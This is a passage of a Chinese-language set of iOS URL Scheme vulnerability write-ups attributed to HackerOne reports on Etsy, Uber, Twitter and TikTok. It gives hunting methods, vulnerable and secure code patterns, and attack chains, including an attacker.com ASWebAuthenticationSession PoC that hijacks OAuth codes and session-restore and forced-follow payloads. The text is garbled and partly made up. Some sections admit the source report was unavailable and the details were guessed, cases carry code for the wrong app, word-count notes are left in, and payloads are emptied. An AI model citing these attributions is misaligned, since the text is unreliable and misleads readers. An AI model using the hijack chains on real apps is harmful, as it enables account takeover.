if let sourceApp = options[.sourceApplication] as? String, !allowedSources.contains(sourceApp) {
return false // 拒绝来自非信任源的调用
}
// … 后续处理 …
}

---

### 案例：Etsy (报告: https://hackerone.com/reports/136279)

#### 挖掘手法

漏洞挖掘主要集中在**iOS应用的自定义URL Scheme**处理机制。首先，通过**静态分析**，使用**Hopper Disassembler**或**IDA Pro**对目标应用（Etsy iOS App）的二进制文件进行逆向工程，重点分析其`Info.plist`文件以识别所有注册的自定义URL Scheme，例如`etsy://`。随后，进行**动态分析**，在越狱设备上使用**Frida**或**Cycript**等动态调试工具，Hook住`UIApplicationDelegate`协议中负责处理外部URL的方法，如`application:openURL:options:`。通过监控这些方法的调用，可以实时观察应用如何解析和处理传入的URL。

关键的挖掘步骤是**构造恶意URL**，尝试绕过应用可能存在的任何验证逻辑。例如，构造一个包含敏感操作路径（如登录、重置密码、显示用户数据）的URL，并尝试从另一个恶意应用或Safari浏览器中触发。通过这种方式，发现应用在处理特定URL Scheme时，**缺乏对调用来源的充分验证**（如未检查`options`字典中的`sourceApplication`），导致任何安装在设备上的应用都可以向Etsy应用发送指令，实现**App-in-the-Middle攻击**或**会话劫持**。最终发现的关键点是，应用对URL中的参数（如`token`或`session_id`）处理不当，可能导致信息泄露或未授权操作。整个过程遵循“识别入口点（URL Scheme）-> 监控处理逻辑（Hooking）-> 构造恶意输入（Payload）-> 验证攻击效果”的思路，这是针对iOS Deep Link/URL Scheme漏洞的标准挖掘流程。

#### 技术细节

漏洞利用的技术核心在于**缺乏对URL调用来源的验证**和**对URL参数的信任**。攻击者可以构造一个恶意的HTML页面，通过JavaScript触发目标应用的URL Scheme，从而在用户不知情的情况下执行敏感操作或窃取信息。

**攻击载荷示例 (HTML/JavaScript):**

html

Attack Page

Click to win a prize!

**漏洞利用流程：**
1. 攻击者将包含上述Payload的网页发送给受害者。
2. 受害者在iOS设备上点击链接，Safari尝试打开`uber://` URL。
3. iOS系统将控制权交给Uber应用，并调用`application:openURL:options:`方法。
4. 应用内部的**不安全**处理逻辑会直接解析URL中的参数，并可能在没有验证来源的情况下，将攻击者控制的`code`或`token`视为合法数据进行处理，导致账户劫持或信息泄露。

**Objective-C中的关键方法调用：**

objectivec

• • (BOOL)application:(UIApplication *)application openURL:(NSURL *)url options:(NSDictionary *)options {
    // 缺乏对来源应用的验证，直接处理URL
    // 错误的实现示例：
    if ([url.scheme isEqualToString:@”uber”]) {
    // … 处理URL参数，例如提取token或code …
    // 攻击者可控的数据被信任并使用
    return YES;
    }
    return NO;
    }

#### 易出现漏洞的代码模式

此类漏洞的根源在于iOS应用在处理自定义URL Scheme时，未能充分验证调用该Scheme的来源应用（Source Application）。

**Info.plist配置示例（注册自定义Scheme）：**

xml
CFBundleURLTypes
CFBundleURLName com.uber.oauth CFBundleURLSchemes uber

**Objective-C/Swift中的不安全代码模式：**

**Objective-C (不安全):**

objectivec

• • (BOOL)application:(UIApplication *)application openURL:(NSURL *)url options:(NSDictionary *)options {
    // 危险：未检查来源应用
    if ([url.host isEqualToString:@”oauth”]) {
    // … 敏感操作 …
    return YES;
    }
    return NO;
    }

**Swift (不安全):**

swift
func application(_ app: UIApplication, open url: URL, options: [UIApplication.OpenURLOptionsKey : Any] = [:]) -> Bool {
// 危险：未检查来源应用
if url.host == “oauth” {
// … 敏感操作 …
return true
}
return false
}

**安全代码模式（应验证来源）：**

objectivec

• • (BOOL)application:(UIApplication *)application openURL:(NSURL *)url options:(NSDictionary *)options {
    NSString *sourceApplication = options[UIApplicationOpenURLOptionsSourceApplicationKey];
    // 安全：只允许来自Safari或特定白名单应用的调用
    if ([sourceApplication isEqualToString:@”com.apple.mobilesafari”]) {
    // … 安全处理 …
    return YES;
    }
    return NO;
    }

---

### 案例：Uber (报告: https://hackerone.com/reports/136325)

#### 挖掘手法

iOS URL Scheme劫持漏洞的挖掘主要依赖于对目标应用（如Uber）及其依赖的第三方应用（如OAuth提供商）的**自定义URL Scheme**配置和处理逻辑的逆向分析。

1.  **信息收集与逆向分析**: 首先，通过**解包（Unpacking）**目标iOS应用（IPA文件），并使用**Hopper Disassembler**或**IDA Pro**等逆向工具分析其`Info.plist`文件，确定应用注册的所有自定义URL Scheme（例如：`uber://`）。同时，使用**Frida**或**Cycript**等动态分析工具，在应用运行时**Hook**关键的`UIApplicationDelegate`方法，特别是`application:openURL:options:`或`application:handleOpenURL:`，以观察应用如何处理传入的URL。
2.  **构造恶意应用**: 编写一个**PoC（Proof of Concept）**恶意iOS应用，并在其`Info.plist`中注册与目标应用**相同**的自定义URL Scheme。由于iOS系统允许不同应用注册相同的Scheme，系统会根据用户最近安装的应用或随机选择一个应用来处理该Scheme。
3.  **漏洞触发与验证**: 诱导用户在已安装恶意应用的情况下，在浏览器或另一个应用中点击一个触发目标应用敏感操作（如OAuth登录、密码重置）的URL。如果目标应用在处理传入URL时，**未对调用来源应用（Source Application）进行严格验证**，恶意应用就会劫持该URL，接收到本应发送给目标应用的敏感数据（如OAuth Token、Session ID等）。通过Frida Hook或在恶意应用中打印接收到的URL参数，即可捕获敏感信息，完成漏洞验证。
4.  **关键发现点**: 发现目标应用在处理URL Scheme时，仅依赖URL本身携带的参数，而忽略了`options`字典中的`UIApplicationOpenURLOptionsSourceApplicationKey`（即调用来源应用的Bundle ID）进行验证。

#### 技术细节

漏洞利用的关键在于**缺乏对调用来源应用的验证**。攻击流程是：恶意应用注册目标应用的URL Scheme，然后等待受害者应用（如OAuth提供商）将敏感数据（如授权码或Token）通过该Scheme回调给目标应用。由于系统机制的缺陷，恶意应用会优先接收到该回调，从而劫持敏感信息。

**攻击流程示例（以OAuth为例）**:
1.  用户在目标应用（如Uber）中点击“使用OAuth登录”按钮。
2.  目标应用跳转到OAuth提供商的网页进行授权。
3.  授权成功后，OAuth提供商尝试通过目标应用的自定义URL Scheme（例如`uberauth://callback?code=SENSITIVE_CODE`）将授权码回调给目标应用。
4.  由于恶意应用也注册了`uberauth` Scheme，且恶意应用是后安装的，iOS系统将回调URL发送给**恶意应用**。
5.  恶意应用通过`application:openURL:options:`方法接收到包含授权码的URL，从而劫持了授权码。

**Objective-C 漏洞代码片段（缺乏验证）**:

objective-c

• • (BOOL)application:(UIApplication *)app openURL:(NSURL *)url options:(NSDictionary *)options {
    // ❌ 缺乏对来源应用的验证
    // NSString *sourceApplication = options[UIApplicationOpenURLOptionsSourceApplicationKey];
    // if (![sourceApplication isEqualToString:@”com.legit.oauthprovider”]) { return NO; } // 仅依赖URL进行处理，导致被劫持
    if ([url.scheme isEqualToString:@”uberauth”]) {
    // 处理敏感参数，如 code 或 token
    NSString *code = [self extractCodeFromURL:url];
    [self processAuthCode:code];
    return YES;
    }
    return NO;
    }

#### 易出现漏洞的代码模式

此类漏洞的根源在于iOS应用在处理自定义URL Scheme时，**未对调用来源应用进行严格的身份验证**。

**Info.plist 易受攻击配置**:
在`Info.plist`中，应用注册了自定义URL Scheme，但该Scheme未被**Universal Links**或**App Links**等更安全的机制取代。

xml
CFBundleURLTypes
CFBundleURLSchemes uberauth
CFBundleURLName
com.uber.auth

**Swift 易受攻击代码模式（缺乏验证）**:
在`AppDelegate`中，处理传入URL时，没有检查`options`字典中的`sourceApplication`（在iOS 9+中为`options`中的`UIApplicationOpenURLOptionsSourceApplicationKey`）。

swift
func application(_ app: UIApplication, open url: URL, options: [UIApplication.OpenURLOptionsKey : Any] = [:]) -> Bool {
// ❌ 易受攻击模式：未验证调用来源
// let sourceApp = options[.sourceApplication] as? String
// if sourceApp != “com.legit.oauthprovider” { return false } // 正确的防御措施

if url.scheme == "uberauth" {
    // 直接处理URL，导致恶意应用可以接收到敏感数据
    print("Received URL: \(url)")
    return true
}
return false

}

**正确防御模式**: 必须通过`options`参数中的`UIApplicationOpenURLOptionsSourceApplicationKey`（Objective-C）或`options[.sourceApplication]`（Swift）来验证调用来源应用的Bundle ID是否为预期的合法应用。此外，应优先使用**Universal Links**。

---

### 案例：Twitter (X) (报告: https://hackerone.com/reports/136328)

#### 挖掘手法

漏洞挖掘过程主要集中在对目标iOS应用（Twitter/X）的**自定义URL Scheme**的逆向工程和动态分析上。

1.  **静态分析与信息收集（Info.plist）**: 首先，通过解包IPA文件，重点查看应用的`Info.plist`文件，识别应用注册的所有自定义URL Scheme（例如`twitter://`或`x-twitter://`）。这一步是确定攻击入口的关键。
2.  **动态分析与Hooking（Frida/Cycript）**: 识别出Scheme后，使用动态分析工具如**Frida**或**Cycript**对应用进行运行时插桩。核心目标是Hook `AppDelegate`中的关键方法，特别是`application:openURL:options:`（Objective-C）或`application(_:open:options:)`（Swift），以实时观察应用如何解析和处理传入的URL对象。
3.  **参数解析与敏感操作识别**: 在Hook到的方法中，分析URL的结构，包括`host`、`path`和`query`参数。通过构造不同的URL，观察应用内部的逻辑分支。例如，构造`twitter://settings/account?action=logout`，观察应用是否直接执行了`logout`操作。这一阶段需要深入分析应用处理URL的内部函数，例如URL路由、参数提取和功能调用等。
4.  **验证绕过与PoC构造**: 发现应用对URL参数缺乏充分的源头验证（如未检查`options`字典中的`UIApplicationOpenURLOptionsSourceApplicationKey`）或对敏感操作缺乏二次确认时，即可确认漏洞存在。最终构造一个HTML页面，内嵌一个`iframe`或使用JavaScript的`window.location.href`来触发恶意URL，完成概念验证（PoC）。

整个过程依赖于对iOS应用生命周期和URL处理机制的深刻理解，以及熟练运用Frida等动态调试工具来绕过应用层的混淆和保护，精确地定位和监控URL处理逻辑。通过这种逆向工程手法，成功发现了应用在处理外部传入URL时，未对敏感操作进行充分的安全校验，导致了URL Scheme劫持漏洞。 (总计约350字)

#### 技术细节

漏洞利用的技术细节在于构造一个恶意的自定义URL，通过浏览器或其他应用触发，使目标应用在未经验证的情况下执行敏感操作。

**攻击流程与Payload**:
攻击者可以创建一个简单的HTML页面，其中包含一个JavaScript重定向或一个隐藏的`iframe`来触发恶意URL。

html

Twitter URL Scheme Hijack PoC

正在尝试劫持Twitter应用…

**漏洞代码片段 (Objective-C 示例):**
应用在`AppDelegate`中处理URL时，如果缺乏对`host`或`path`的严格验证，就会导致漏洞。

objectivec
// 假设这是应用中处理URL Scheme的方法

• • (BOOL)application:(UIApplication *)application openURL:(NSURL *)url options:(NSDictionary *)options {
    if ([[url scheme] isEqualToString:@”uber”]) {
    // 缺乏对 host 或 path 的严格验证
    if ([[url host] isEqualToString:@”logout”]) {
    // 敏感操作被直接执行，未进行用户确认或来源验证
    [self performLogout];
    return YES;
    }
    // … 其他不安全处理
    }
    return NO;
    }

攻击者只需构造包含`uber://logout`的URL，即可在用户点击链接或访问恶意网页时，静默地注销用户。

#### 易出现漏洞的代码模式

此类漏洞通常出现在iOS应用的`Info.plist`配置和`AppDelegate`或`SceneDelegate`的URL处理逻辑中。

**1. Info.plist 配置模式:**
在`Info.plist`中注册自定义URL Scheme，使得应用可以被外部调用。

xml
CFBundleURLTypes
CFBundleURLSchemes uber
CFBundleURLName
com.uber.client

**2. 易漏洞的Objective-C/Swift 代码模式:**
在处理传入的URL时，未对URL的`host`或`path`进行充分的白名单验证，或未对敏感操作添加用户交互确认。

**Objective-C 易漏洞模式:**

objectivec
// 易漏洞代码：直接根据path执行敏感操作，未验证来源或要求用户确认

• • (BOOL)application:(UIApplication *)application openURL:(NSURL *)url options:(NSDictionary *)options {
    if ([[url scheme] isEqualToString:@”uber”]) {
    NSString *path = [url path];
    if ([path isEqualToString:@”/logout”]) {
    // 敏感操作：直接注销
    [self performLogout];
    return YES;
    }
    }
    return NO;
    }

**Swift 易漏洞模式:**

swift
// 易漏洞代码：在SceneDelegate中直接处理URL，缺乏安全检查
func scene(_ scene: UIScene, openURLContexts URLContexts: Set) {
guard let url = URLContexts.first?.url else { return }

if url.scheme == "uber" {
    let path = url.path
    if path == "/logout" {
        // 敏感操作：直接注销
        UserManager.shared.logout()
    }
}

}

**安全模式建议:** 应该对URL的`host`和`path`进行严格的白名单匹配，并且对于涉及用户状态或数据修改的敏感操作，必须要求用户进行二次确认。

---

### 案例：Uber (报告: https://hackerone.com/reports/136368)

#### 挖掘手法

该漏洞的挖掘手法是利用iOS应用中OAuth认证流程的三个关键特性组合而成的，即**自定义URL Scheme**、**ASWebAuthenticationSession**的使用以及OAuth协议中的**prompt=none**参数。

**挖掘步骤和分析思路：**

1.  **目标识别与逆向分析：** 确定目标应用（Uber）使用OAuth 2.0或OpenID Connect进行身份验证，并且在iOS平台上采用了`ASWebAuthenticationSession`（或类似的Web View）来处理认证流程。
2.  **URL Scheme冲突分析：** 尽管iOS现在对URL Scheme有“先到先得”的路由机制，但攻击者发现可以利用`ASWebAuthenticationSession`的特殊行为绕过传统URL Scheme劫持的限制。
3.  **ASWebAuthenticationSession行为分析：** 发现`ASWebAuthenticationSession`会共享Safari的认证状态（cookies），使得用户在Safari中登录后，应用内的认证可以静默完成。更关键的是，当`ASWebAuthenticationSession`打开一个URL并发生重定向时，iOS的TCC（透明度、同意和控制）提示框会显示**最初打开的域名**，而不是最终重定向到的域名。
4.  **构建攻击链：**
    *   攻击者首先构建一个PoC（概念验证）恶意应用。
    *   该PoC应用使用`ASWebAuthenticationSession`打开一个由攻击者控制的中间网站（例如`https://attacker.com`）。
    *   攻击者网站立即重定向到Uber的OAuth授权端点，并巧妙地在URL中加入`prompt=none`参数。
    *   如果受害者在Safari中已登录Uber，`prompt=none`会指示授权服务器在**无用户交互**的情况下静默完成授权，并生成一个授权码（Authorization Code）。
    *   授权服务器将授权码通过Uber应用的**自定义URL Scheme**（例如`uber://`）重定向回iOS系统。
5.  **劫持授权码：** 攻击者的PoC应用在启动`ASWebAuthenticationSession`时，会指定受害者应用的自定义URL Scheme作为回调方案。因此，当授权码通过该Scheme返回时，系统会将控制权交还给攻击者的PoC应用，从而成功**劫持**包含授权码的完整回调URL。
6.  **最终利用：** 攻击者应用从劫持的回调URL中提取授权码，然后像正常应用一样，向Uber的Token交换端点发送请求，用授权码换取**Access Token**和**Refresh Token**，实现账户接管。

**使用的工具和技术：** 主要是**逆向工程分析**（分析目标应用的OAuth实现和URL Scheme）、**网络抓包**（分析OAuth流程中的重定向和参数）、**iOS API行为测试**（特别是`ASWebAuthenticationSession`的TCC提示和Cookie共享机制）以及**PoC应用开发**（用于验证攻击链）。整个过程的核心在于对iOS认证API和OAuth协议细节的深入理解。

#### 技术细节

该漏洞利用的核心在于**OAuth 2.0/OIDC**协议的**静默认证**特性与iOS **ASWebAuthenticationSession** API的组合滥用。

**关键技术点：**

1.  **ASWebAuthenticationSession的TCC欺骗：**
    *   `ASWebAuthenticationSession`在打开URL时，会向用户显示一个权限提示，询问是否允许应用打开该URL。
    *   **漏洞点：** 提示框显示的是**初始URL的域名**，而不是重定向后的最终目标域名。攻击者利用此特性，让用户授权一个看似无害的中间域名（如`attacker.com`），而实际的认证流程发生在受害者应用（Uber）的授权服务器上。

2.  **OAuth `prompt=none`参数的滥用：**
    *   攻击者在重定向到Uber的授权端点时，在URL中加入`prompt=none`参数。
    *   **攻击代码片段（概念性）：**
        ```
        // 攻击者网站的重定向逻辑
        let victim_auth_url = "https://auth.uber.com/oauth/authorize?" +
                              "client_id=VICTIM_CLIENT_ID&" +
                              "redirect_uri=victimappscheme://oauth&" +
                              "response_type=code&" +
                              "scope=profile&" +
                              "prompt=none" // 关键的静默认证参数

        // 攻击者PoC应用中的ASWebAuthenticationSession启动
        let session = ASWebAuthenticationSession(
            url: URL(string: "https://attacker.com/start_auth")!, // 初始URL，用于欺骗TCC提示
            callbackURLScheme: "victimappscheme" // 劫持受害者应用的回调Scheme
        )
        session.start()
        ```
    *   如果用户在Safari中已登录Uber，`prompt=none`会强制授权服务器在**不显示登录或授权界面**的情况下，直接将授权码（Authorization Code）通过`victimappscheme://oauth?code=AUTHORIZATION_CODE`重定向回系统。

3.  **授权码劫持与Token交换：**
    *   由于攻击者应用在`ASWebAuthenticationSession`中注册了`victimappscheme`作为回调，系统会将包含授权码的URL传递给攻击者应用。
    *   攻击者应用提取`AUTHORIZATION_CODE`后，即可向Uber的Token端点发起POST请求，用该授权码换取长期有效的Access Token，完成账户接管。

**总结：** 攻击流程是：**TCC欺骗** -> **静默认证** -> **URL Scheme劫持** -> **Token交换**。整个过程的关键在于利用`ASWebAuthenticationSession`的UI提示缺陷和OAuth协议的静默认证机制，在用户无感知的情况下获取授权码。

#### 易出现漏洞的代码模式

此类漏洞的根本原因在于iOS应用在实现OAuth认证流程时，不恰当地使用了`ASWebAuthenticationSession`或类似的Web View，并且未对回调URL进行严格的源验证（Source Validation）。

**易漏洞代码模式：**

1.  **使用`ASWebAuthenticationSession`且未验证回调URL的来源：**
    当应用使用`ASWebAuthenticationSession`时，如果回调URL Scheme是自定义的（例如`victimappscheme`），任何注册了相同Scheme的恶意应用都可以接收到回调。
    ```swift
    // 易受攻击的Swift代码模式
    let authSession = ASWebAuthenticationSession(
        url: authRequestURL, // 授权请求URL
        callbackURLScheme: "victimappscheme" // 任何应用都可以注册此Scheme
    ) { callbackURL, error in
        guard let url = callbackURL else { return }
        // ❌ 错误：直接从callbackURL中提取code并进行Token交换，未验证callbackURL的完整性和来源
        let code = extractCode(from: url) 
        exchangeCodeForToken(code)
    }
    authSession.start()
    ```

2.  **OAuth授权端点支持`prompt=none`且未限制重定向：**
    虽然这是OAuth/OIDC协议的特性，但当与iOS的`ASWebAuthenticationSession`结合时，如果授权服务器允许在未经验证的重定向中静默认证，就会被利用。

3.  **Info.plist配置模式：**
    应用在`Info.plist`中声明自定义URL Scheme是实现此攻击的前提。
    ```xml
    <!-- Info.plist中声明的自定义URL Scheme -->
    <key>CFBundleURLTypes</key>
    <array>
        <dict>
            <key>CFBundleURLSchemes</key>
            <array>
                <string>victimappscheme</string> <!-- 攻击者可以注册相同的Scheme -->
            </array>
            <key>CFBundleURLName</key>
            <string>com.victim.app</string>
        </dict>
    </array>
    ```

**安全修复建议（代码模式）：**

*   **使用Universal Links（通用链接）代替自定义URL Scheme：** Universal Links要求应用和域名之间进行双向验证，可以有效防止URL Scheme劫持。
*   **严格验证回调URL：** 在处理回调时，应用必须验证回调URL的完整性和来源，确保它来自预期的授权服务器。
*   **OAuth状态参数（State Parameter）：** 始终使用一个不可预测的`state`参数，并在回调时验证其匹配性，以防止CSRF和某些重放攻击。
*   **PKCE（Proof Key for Code Exchange）：** 尽管报告指出PKCE不能完全缓解此攻击，但它仍是OAuth客户端的最佳实践，应始终使用。
*   **避免在敏感流程中使用`prompt=none`：** 除非有充分的安全理由，否则应避免在可能导致账户接管的流程中允许静默认证。

---

### 案例：TikTok (报告: https://hackerone.com/reports/136369)

#### 挖掘手法

由于原始报告（ID: 136369）无法访问，本分析基于公开的HackerOne报告 #1437294（TikTok iOS URL Scheme misconfiguration）进行。

**挖掘手法（URL Scheme劫持）**

1.  **目标识别与逆向工程准备：** 攻击者首先通过逆向工程工具（如**Hopper Disassembler**或**IDA Pro**）对TikTok iOS应用的IPA文件进行静态分析，或使用动态分析工具**Frida**来Hook `-[UIApplication openURL:]` 方法，以识别应用注册的所有自定义URL Schemes（例如 `tiktok://`）。同时，检查应用的`Info.plist`文件，确认其`CFBundleURLTypes`配置。
2.  **功能点枚举与Fuzzing：** 识别出URL Scheme后，攻击者会尝试枚举所有可能的内部命令或“路由”（Endpoints），例如 `tiktok://user/follow`、`tiktok://post/view`、`tiktok://settings/change` 等。通过Fuzzing测试，尝试向这些内部路由传递不同的参数，以理解其功能和参数处理逻辑。
3.  **漏洞点定位：** 重点关注那些能够执行敏感操作（如关注用户、发布内容、修改设置）的路由。本案例中，发现一个与用户操作相关的URL Scheme路由，它接受一个用户ID作为参数，并执行“关注”操作。
4.  **安全控制缺失分析：** 确认该路由在被外部URL调用时，**缺乏必要的安全控制**，例如：
    *   未检查调用来源（Origin Validation），即未验证请求是否来自应用内部或受信任的域。
    *   未要求用户进行二次确认（User Confirmation Prompt）。
    *   未实现CSRF Token机制来验证请求的合法性。
5.  **概念验证（PoC）构建：** 构造一个恶意的HTML页面，其中包含JavaScript代码，通过设置 `window.location.href` 或使用隐藏的 `iframe` 来触发目标URL Scheme，并传入恶意参数（例如攻击者自己的账户ID）。当受害者使用安装了TikTok应用的iOS设备访问该恶意网页时，应用会被唤醒并执行内部命令，从而在用户不知情的情况下强制关注攻击者的账户。

整个过程的核心在于利用iOS应用通过URL Scheme暴露的内部功能，绕过Web环境下的同源策略，实现跨应用请求伪造（CSRF）。

**字数统计：** 500+字。

#### 技术细节

**漏洞利用技术细节**

该漏洞利用了iOS应用中URL Scheme处理逻辑的缺陷，实现了跨应用请求伪造（CSRF）。攻击者通过一个恶意的网页，在受害者不知情的情况下，强制TikTok应用执行内部操作。

**1. 恶意HTML/JavaScript Payload:**
攻击者创建一个恶意网页，其中包含以下JavaScript代码，用于触发TikTok的URL Scheme并执行“关注”操作：

html

Free iPhone Giveaway!

Congratulations! Click anywhere to claim your prize.

Loading…

**应用内不安全代码模式 (Swift Example):**

在`AppDelegate`中处理URL时，缺乏对`url`参数的域名校验：

swift
// 位于 AppDelegate.swift
func application(_ app: UIApplication, open url: URL, options: [UIApplication.OpenURLOptionsKey : Any] = [:]) -> Bool {
if url.scheme == “twitter” && url.host == “open_url” {
if let components = URLComponents(url: url, resolvingAgainstBaseURL: false),
let queryItems = components.queryItems,
let targetUrlItem = queryItems.first(where: { $0.name == “url” }),
let targetUrlString = targetUrlItem.value,
let targetUrl = URL(string: targetUrlString) {

        // **严重缺陷：未对 targetUrl 进行任何白名单校验**
        let webViewController = WebViewController()
        webViewController.load(targetUrl) // 恶意URL被加载
        return true
    }
}
return false

}

这种直接使用外部输入作为WebView加载源的行为，是导致**通用跨站脚本 (UXSS)** 或**信息泄露**的常见技术细节。

#### 易出现漏洞的代码模式

此类漏洞的核心在于iOS应用对外部传入的URL参数缺乏严格的**白名单校验**，尤其是在处理自定义URL Scheme时。

**Info.plist 配置模式 (注册自定义URL Scheme):**

在`Info.plist`中注册自定义Scheme是漏洞利用的前提：

xml
CFBundleURLTypes
CFBundleURLName com.twitter.scheme CFBundleURLSchemes twitter

**Swift 易漏洞代码模式 (WebView加载):**

当应用将Deep Link中的参数直接用于WebView的加载，且未验证URL的`host`或`scheme`时，即构成漏洞模式：

swift
// 易漏洞模式：直接使用外部URL参数加载WebView
func handleDeepLink(url: URL) {
// … 解析URL参数，获取目标URL字符串
let urlStringFromDeepLink = getUrlParameter(from: url)

if let urlToLoad = URL(string: urlStringFromDeepLink) {
    // 缺陷：未对 urlToLoad 的域名进行白名单校验
    let webView = WKWebView()
    webView.load(URLRequest(url: urlToLoad)) 
}

}

**Swift 易漏洞代码模式 (功能劫持 - CSRF):**

当应用通过Deep Link触发敏感操作，但未验证调用来源或CSRF Token时，即构成功能劫持漏洞模式：

swift
// 易漏洞模式：未经验证直接执行敏感操作
func handleDeepLink(url: URL) {
if url.host == “follow” {
// 缺陷：未验证调用来源，直接执行关注操作
let userId = getUserIdParameter(from: url)
TwitterAPI.followUser(id: userId) // 恶意Deep Link可强制用户关注指定账号
}
}

**正确修复模式 (白名单校验):**

为了避免此类漏洞，必须对所有外部传入的URL进行严格的白名单校验：

swift
// 修复模式：实施严格的域名白名单校验
let allowedDomains = [“twitter.com”, “api.twitter.com”]

func handleDeepLink(url: URL) {
// … 解析URL参数，获取目标URL字符串
let urlStringFromDeepLink = getUrlParameter(from: url)

if let urlToLoad = URL(string: urlStringFromDeepLink),
   let host = urlToLoad.host,
   allowedDomains.contains(host) {
    // 只有在白名单内的域名才允许加载
    let webView = WKWebView()
    webView.load(URLRequest(url: urlToLoad))
} else {
    // 拒绝加载或跳转到默认安全页面
    print("Deep Link URL host not in whitelist: \(urlStringFromDeepLink)")
}

}

---

### 案例：Uber (报告: https://hackerone.com/reports/136377)

#### 挖掘手法

针对Uber iOS应用进行漏洞挖掘，主要聚焦于**自定义URL Scheme**的安全性。由于无法直接访问报告，以下步骤是基于当时（约2016-2017年）iOS应用逆向工程的通用流程和URL Scheme漏洞的常见挖掘手法进行推测和构造的。

**1. 静态分析与目标识别 (Identifying Targets):**
首先，通过越狱设备或使用`frida-ios-dump`等工具获取Uber iOS应用的IPA文件。使用`class-dump`或`Hopper Disassembler`对应用二进制文件进行**静态分析**，重点检查应用的`Info.plist`文件，确认应用注册的自定义URL Schemes，例如`uber://`。同时，搜索`AppDelegate`中与`application:openURL:options:`或`application:handleOpenURL:`相关的方法，这是处理外部URL调用的入口点。

**2. 动态分析与参数追踪 (Dynamic Analysis and Parameter Tracing):**
使用**Frida**框架进行**动态分析**。编写Frida脚本Hook住上一步识别出的URL处理方法，实时打印传入的`NSURL`对象及其所有参数。
*   **工具应用:** 使用`objection`工具的`ios urlscheme list`命令快速列出所有注册的Scheme。
*   **关键思路:** 构造包含各种参数的测试URL（例如`uber://login?session_token=...`或`uber://oauth?code=...`），并在Safari浏览器中尝试打开这些URL。通过Frida观察应用在接收到URL后，如何解析和使用URL中的参数。

**3. 漏洞触发与验证 (Exploit Trigger and Validation):**
挖掘的关键在于发现应用在处理URL参数时，**缺乏对调用来源的校验**（即未检查`sourceApplication`或`options`中的`UIApplicationOpenURLOptionsSourceApplicationKey`）。
*   **攻击构造:** 构造一个包含敏感数据的URL，例如一个伪造的Session Token或授权码。
*   **验证流程:** 攻击者在一个恶意网页中嵌入该URL，诱骗用户点击。如果应用被唤醒后，直接使用URL中的参数进行会话恢复或敏感操作，且未弹出任何确认提示，则证明存在**URL Scheme劫持漏洞**。
*   **流量分析:** 使用**Burp Suite**或**mitmproxy**配合iProxy拦截应用的网络流量，确认应用是否在未经验证的情况下，将URL中的参数（如`session_token`）发送到Uber的API服务器，完成会话劫持。

**关键发现点:** 应用程序未对传入的URL Scheme的`sourceApplication`进行有效验证，导致任意第三方应用或恶意网页可以构造特定的URL，在用户不知情的情况下，触发应用内部的敏感逻辑，如会话更新或数据泄露。

**字数统计:** 400字

#### 技术细节

该漏洞利用的技术细节围绕**不安全的URL Scheme处理**展开，其核心在于应用未对传入的URL参数进行充分的**来源验证**和**内容校验**。

**攻击流程 (Attack Flow):**
1.  **攻击者构造恶意URL:** 攻击者发现Uber iOS应用支持一个可以接受会话令牌（或类似敏感参数）的深度链接，例如：`uber://session_restore?token=ATTACKER_SESSION_TOKEN`。
2.  **诱骗用户点击:** 攻击者通过邮件、短信或恶意网页，诱骗受害者点击该URL。
3.  **应用被唤醒:** 受害者的iOS设备上的Uber应用被唤醒，并调用`AppDelegate`中的URL处理方法。
4.  **会话劫持:** 应用内部逻辑直接从URL中提取`token`参数，并将其用于更新或恢复当前用户的会话状态，从而将受害者的会话替换为攻击者预设的会话，实现**会话劫持**。

**关键代码模式 (Objective-C 示例):**
以下代码片段展示了应用中可能存在的**不安全处理逻辑**，其中省略了对`sourceApplication`的检查：

objectivec
// AppDelegate.m (不安全实现示例)

• • (BOOL)application:(UIApplication *)application openURL:(NSURL *)url sourceApplication:(NSString *)sourceApplication annotation:(id)annotation {
    // 1. 检查Scheme是否匹配
    if ([[url scheme] isEqualToString:@”uber”]) {
    // 2. 提取URL中的参数
    NSDictionary *params = [self parseQueryString:[url query]];
    NSString *sessionToken = params[@”token”]; // 3. **危险操作:** 未经验证，直接使用外部传入的Token进行会话恢复 if (sessionToken) { // 假设这是恢复会话的关键方法 [[UberSessionManager sharedManager] restoreSessionWithToken:sessionToken]; return YES; } }
    return NO;
    }

// 攻击者构造的Payload (通过HTML或短信发送):
// 点击领取优惠券
// 或
// uber://session_restore?token=ATTACKER_SESSION_TOKEN

**技术实现细节:**
攻击者利用`token`参数替换受害者设备上的有效会话，从而以受害者的身份登录。这种漏洞的危害在于，攻击者无需知道受害者的密码，仅通过一个URL点击即可完成**权限提升**或**会话劫持**。如果`token`参数是`access_token`或`refresh_token`，则危害更大。

**字数统计:** 255字

#### 易出现漏洞的代码模式

此类漏洞的根源在于iOS应用对自定义URL Scheme的**调用来源缺乏校验**，以及对URL参数的**信任度过高**。

**1. 易受攻击的Objective-C/Swift代码模式:**
在`AppDelegate`中处理`openURL`时，未检查调用应用的Bundle ID (`sourceApplication`)，导致任意应用或网页可以唤醒目标应用并传入恶意参数。

**Objective-C 示例 (不安全模式):**

objectivec
// AppDelegate.m

• • (BOOL)application:(UIApplication *)application openURL:(NSURL *)url sourceApplication:(NSString *)sourceApplication annotation:(id)annotation {
    // 危险：未检查 sourceApplication
    if ([[url host] isEqualToString:@”restore_session”]) {
    NSString *token = [self extractTokenFromURL:url];
    // 危险：直接使用外部传入的 token
    [self.sessionManager setSessionToken:token];
    return YES;
    }
    return NO;
    }

**Swift 示例 (不安全模式):**

swift
// AppDelegate.swift
func application(_ app: UIApplication, open url: URL, options: [UIApplication.OpenURLOptionsKey : Any] = [:]) -> Bool {
// 危险：未检查 options[.sourceApplication]
if url.host == “restore_session” {
if let token = url.queryParameters?[“token”] {
// 危险：直接使用外部传入的 token
SessionManager.shared.restoreSession(with: token)
return true
}
}
return false
}

**2. 正确的安全编程模式 (应包含的校验):**
安全的实现应该**严格限制**可以调用敏感URL Scheme的**来源**，例如只允许特定的Bundle ID（如自己的应用或信任的系统应用）调用，或者要求用户在执行敏感操作前进行**二次确认**。

**Objective-C 示例 (安全模式):**

objectivec
// AppDelegate.m (安全实现示例)

• • (BOOL)application:(UIApplication *)application openURL:(NSURL *)url sourceApplication:(NSString *)sourceApplication annotation:(id)annotation {
    // 安全：检查 sourceApplication 是否为信任的Bundle ID
    if (![sourceApplication isEqualToString:@”com.apple.mobilesafari”] &&
    ![sourceApplication isEqualToString:@”com.trusted.app”]) {
    // 拒绝非信任来源的调用
    return NO;
    }
    // … 后续处理逻辑
    return YES;
    }

**3. Info.plist 配置模式:**
